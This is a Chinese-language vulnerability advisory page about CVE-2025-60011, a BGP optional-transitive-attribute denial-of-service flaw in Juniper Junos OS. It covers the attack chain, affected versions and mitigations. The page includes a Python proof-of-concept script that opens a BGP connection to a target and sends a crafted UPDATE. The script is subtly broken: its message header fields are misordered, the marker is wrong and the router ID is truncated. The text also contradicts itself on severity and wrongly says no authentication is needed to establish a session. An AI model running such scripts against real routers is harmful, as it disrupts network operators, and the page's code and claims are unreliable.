IPBUF安全漏洞报告
English
CVE-2025-60011 CVSS 5.8 中危

CVE-2025-60011 Juniper Junos OS BGP属性处理拒绝服务漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-60011
漏洞类型
拒绝服务/异常条件检查不当
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Networks Junos OS, Juniper Networks Junos OS Evolved

相关标签

CVE-2025-60011JuniperJunos OSJunos OS EvolvedBGP拒绝服务路由协议rpd可选传递属性异常条件检查不当

漏洞概述

CVE-2025-60011是Juniper Networks Junos OS和Junos OS Evolved中路由协议守护进程(rpd)的一个高危安全漏洞。该漏洞源于对异常或不寻常条件的不正确检查,允许未认证的网络攻击者通过发送特制的BGP属性来触发拒绝服务条件。当受影响的Juniper设备通过现有BGP会话接收到特定的optional transitive BGP属性时,该属性会在传播给其他BGP对等方之前被错误修改。这种错误处理会导致下游对等方检测到格式错误的属性,进而可能终止与受影响设备的BGP会话。这种级联效应会造成严重的路由抖动和网络可用性中断,对依赖BGP路由的企业和服务提供商造成重大影响。攻击者无需任何认证凭证即可实施攻击,CVSS评分5.8表明该漏洞具有中等严重性,但实际影响范围可能更广。

技术细节

该漏洞位于Juniper Junos OS和Junos OS Evolved的路由协议守护进程(rpd)中,具体涉及BGP可选传递属性(Optional Transitive Attribute)的处理逻辑。当设备接收到一个特定的optional transitive BGP属性时,rpd守护进程会对其进行错误的修改或处理,然后在向其他BGP对等方传播时转发这个被损坏的属性。这种错误处理发生在以下场景:攻击者与目标Juniper设备建立BGP会话后,发送精心构造的BGP可选传递属性。被攻击的设备在处理该属性时存在边界检查或格式验证缺陷,导致属性值被错误修改。当这个损坏的属性被传播到下游BGP对等方时(如Cisco、华为等其他厂商设备),这些设备会将其识别为格式错误并终止BGP会话。攻击者可以利用此漏洞造成路由不稳定,导致网络可达性下降甚至完全中断。攻击复杂度低,无需认证,适合大规模自动化利用。

攻击链分析

STEP 1
步骤1
攻击者与目标Juniper设备建立BGP会话连接,无需任何认证凭证
STEP 2
步骤2
攻击者通过已建立的BGP会话发送精心构造的optional transitive BGP属性
STEP 3
步骤3
目标Juniper设备的rpd守护进程接收到该属性,由于存在异常条件检查缺陷,错误处理并修改了属性值
STEP 4
步骤4
被修改的损坏属性被传播到下游BGP对等方(如其他厂商的路由器)
STEP 5
步骤5
下游对等方检测到接收到的BGP属性格式错误,触发安全机制
STEP 6
步骤6
下游对等方终止与受影响Juniper设备的BGP会话,导致路由信息丢失
STEP 7
步骤7
大规模路由抖动发生,造成网络可用性严重下降甚至完全中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60011 PoC - Juniper Junos BGP Attribute Handling DoS This PoC demonstrates sending a malformed optional transitive BGP attribute to trigger the vulnerability in Juniper devices. WARNING: Only for authorized security testing with proper authorization. """ import socket import struct import random def build_bgp_open_msg(asn, router_id): """Build BGP OPEN message""" version = 4 hold_time = 180 open_msg = bytes([ version, # BGP version ]) open_msg += struct.pack('!H', asn) # My AS open_msg += struct.pack('!H', hold_time) # Hold time open_msg += struct.pack('!I', router_id)[1:] # BGP Identifier open_msg += bytes([0]) # Optional parameters length header = build_bgp_header(1, open_msg) # OPEN = 1 return header def build_bgp_header(type_, data): """Build BGP message header""" msg = struct.pack('!B', type_) msg += struct.pack('!I', len(data) + 19)[1:] # Length (without marker) msg += bytes(16) # Marker (all 1s) msg += data return msg def build_malformed_optional_transitive_attr(attr_type, attr_data): """ Build a malformed optional transitive BGP attribute This triggers the improper check vulnerability in Juniper rpd Attribute flags: 0x40 (Optional) | 0x20 (Transitive) | 0x10 (Partial) Attribute type: Variable (e.g., 255 for experimental) """ flags = 0x70 # Optional + Transitive + Partial (malformed state) attr = bytes([ flags, attr_type, ]) attr += bytes([len(attr_data)]) # Length byte attr += attr_data return attr def build_bgp_update_with_malformed_attr(): """Build BGP UPDATE with malformed optional transitive attribute""" withdrawn_routes_len = 0 withdrawn_routes = b'' path_attr = build_malformed_optional_transitive_attr( attr_type=255, # Experimental attribute type attr_data=b'\x00' * 32 # Malformed data ) nlri = b'' update_data = struct.pack('!H', withdrawn_routes_len) update_data += withdrawn_routes update_data += struct.pack('!H', len(path_attr)) update_data += path_attr update_data += nlri return build_bgp_header(2, update_data) # UPDATE = 2 def send_bgp_payload(target_ip, target_port=179): """ Send crafted BGP payload to trigger CVE-2025-60011 Args: target_ip: Target Juniper device IP target_port: BGP port (default 179) """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # Send BGP OPEN router_id = random.randint(1, 0xFFFFFFFF) open_msg = build_bgp_open_msg(asn=65001, router_id=router_id) sock.send(open_msg) # Receive OPEN response response = sock.recv(4096) if not response: print("[-] No response from BGP peer") return False print("[+] BGP session established, sending malformed attribute...") # Send UPDATE with malformed optional transitive attribute update_msg = build_bgp_update_with_malformed_attr() sock.send(update_msg) print("[+] Malformed BGP attribute sent") print("[*] This may cause Juniper rpd to corrupt the attribute") print("[*] Downstream peers may terminate BGP sessions") return True except socket.timeout: print("[-] Connection timeout") return False except socket.error as e: print(f"[-] Socket error: {e}") return False finally: sock.close() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='CVE-2025-60011 PoC') parser.add_argument('target', help='Target Juniper device IP') parser.add_argument('-p', '--port', type=int, default=179, help='BGP port') args = parser.parse_args() print(f"[*] Targeting {args.target}:{args.port}") print("[*] Sending malformed optional transitive BGP attribute...") send_bgp_payload(args.target, args.port)

影响范围

Junos OS < 22.4R3-S8
Junos OS 23.2 < 23.2R2-S5
Junos OS 23.4 < 23.4R2-S6
Junos OS 24.2 < 24.2R2-S2
Junos OS 24.4 < 24.4R2
Junos OS Evolved < 22.4R3-S8-EVO
Junos OS Evolved 23.2 < 23.2R2-S5-EVO
Junos OS Evolved 23.4 < 23.4R2-S6-EVO
Junos OS Evolved 24.2 < 24.2R2-S2-EVO
Junos OS Evolved 24.4 < 24.4R2-EVO

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:在BGP对等方上配置路径属性过滤,阻止或验证特定的optional transitive属性;部署BGP会话监控工具检测异常的会话终止行为;使用BFD(Bidirectional Forwarding Detection)加快故障检测和收敛;考虑实施路由策略限制未知BGP属性的传播范围;加强对BGP对等方连接的访问控制,限制只有授权的AS才能建立BGP会话。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表